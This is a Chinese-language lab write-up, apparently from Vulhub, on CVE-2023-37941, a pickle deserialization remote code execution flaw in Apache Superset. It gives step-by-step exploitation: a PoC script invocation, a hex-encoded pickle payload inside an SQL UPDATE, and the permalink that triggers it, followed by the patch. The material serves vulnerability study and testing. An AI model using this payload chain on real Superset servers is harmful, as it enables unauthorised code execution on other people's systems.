# Apache Superset Python Pickle 反序列化导致远程代码执行 CVE-2023-37941 ## 漏洞描述 Apache Superset 是一个开源的数据探索和可视化平台,设计为可视化、直观和交互式的数据分析工具。 Apache Superset 1.5 至 2.1.0 版本中存在一个 Python Pickle 反序列化漏洞(CVE-2023-37941)。该应用程序使用 Python 的 `pickle` 包来在元数据数据库中存储特定的配置数据。具有元数据数据库写入权限的已认证用户可以插入恶意的 Pickle 有效载荷,当应用程序反序列化这些数据时,会导致 Superset 服务器上的远程代码执行。 当与 [CVE-2023-27524](https://github.com/vulhub/vulhub/blob/master/superset/CVE-2023-27524) 结合使用时,未经身份验证的攻击者可以先绕过身份验证,然后利用反序列化漏洞执行任意代码。 参考链接: - https://www.horizon3.ai/attack-research/disclosures/apache-superset-part-ii-rce-credential-harvesting-and-more/ - https://github.com/Barroqueiro/CVE-2023-37941 - https://forum.butian.net/share/2458 ## 漏洞影响 ``` 1.5.0 ≤ Apache Superset ≤ 2.1.0 ``` ## 环境搭建 Vulhub 执行以下命令启动 Apache Superset 2.0.1 服务器: ``` docker compose up -d ``` 服务启动后,可以通过 `http://your-ip:8088` 访问 Superset。默认登录凭据为 admin/vulhub。 ![](images/Apache%20Superset%20Python%20Pickle%20反序列化导致远程代码执行%20CVE-2023-37941/image-20250331141749947.png) ## 漏洞复现 执行以下步骤前,假设你已经通过 [CVE-2023-27524](https://github.com/vulhub/vulhub/blob/master/superset/CVE-2023-27524) 漏洞生成有效的会话 Cookie 并登录到仪表板。 ![](images/Apache%20Superset%20Python%20Pickle%20反序列化导致远程代码执行%20CVE-2023-37941/image-20250331141844198.png) 首先,创建一个新的 "Dashboard",并通过点击 "Share" 按钮生成一个永久链接,复制这个永久链接,稍后将会用到: ``` http://your-ip:8088/superset/dashboard/p/b1l723YMwWy/ ``` ![](images/Apache%20Superset%20Python%20Pickle%20反序列化导致远程代码执行%20CVE-2023-37941/image-20250331142016578.png) 然后,按照以下步骤创建一个新的 "Database": 1. 导航到 "Data"→"Databases" 2. 点击 "+ Database" 添加一个新的数据库连接 3. 输入数据库名称(比如 "SQLite") 4. 这里请填写:`sqlite+pysqlite:////app/superset_home/superset.db` 5. 展开 "Advanced" 并勾选 "Expose in SQL Lab" 和 "Allow DML" 6. 保存数据库配置 ![](images/Apache%20Superset%20Python%20Pickle%20反序列化导致远程代码执行%20CVE-2023-37941/image-20250331142200063.png) 然后,使用 [CVE-2023-37941.py](https://github.com/vulhub/vulhub/blob/master/superset/CVE-2023-37941/CVE-2023-37941.py) 生成恶意 SQL 命令(`-d` 选项可以是 `sqlite`、`mysql` 或 `postgres`,表示 Superset 服务器的数据库类型,在 Vulhub 中是 `sqlite`): ```shell python CVE-2023-37941.py -c "touch /tmp/awesome_poc" -d sqlite [+] Base64 encoded payload: Y3Bvc2l4CnN5c3RlbQpwMAooVnRvdWNoIC90bXAvYXdlc29tZV9wb2MKcDEKdHAyClJwMwou [+] Hex encoded payload (for SQL): update key_value set value=X'63706f7369780a73797374656d0a70300a2856746f756368202f746d702f617765736f6d655f706f630a70310a7470320a5270330a2e' where resource='dashboard_permalink'; ``` > 因为 `pickle` 反序列化的 Payload 在不同操作系统上是不同的,所以你需要在 Linux 或 MacOS 上生成 Payload。 在 SQL Lab 中执行生成的 SQL 命令: ![](images/Apache%20Superset%20Python%20Pickle%20反序列化导致远程代码执行%20CVE-2023-37941/image-20250331142503078.png) 最后,通过访问前面复制的永久链接触发反序列化: ![](images/Apache%20Superset%20Python%20Pickle%20反序列化导致远程代码执行%20CVE-2023-37941/image-20250331142540095.png) 可见,`touch /tmp/awesome_poc` 命令已成功执行: ![](images/Apache%20Superset%20Python%20Pickle%20反序列化导致远程代码执行%20CVE-2023-37941/image-20250331142646301.png) ## 漏洞修复 官方已发布补丁: https://github.com/apache/superset/commit/1d61ac17839c588bae240386443a904c8cebb4ab ,建议升级 apache-superset 到 [2.1.1](https://github.com/apache/superset/releases/tag/2.1.1) 或更高版本。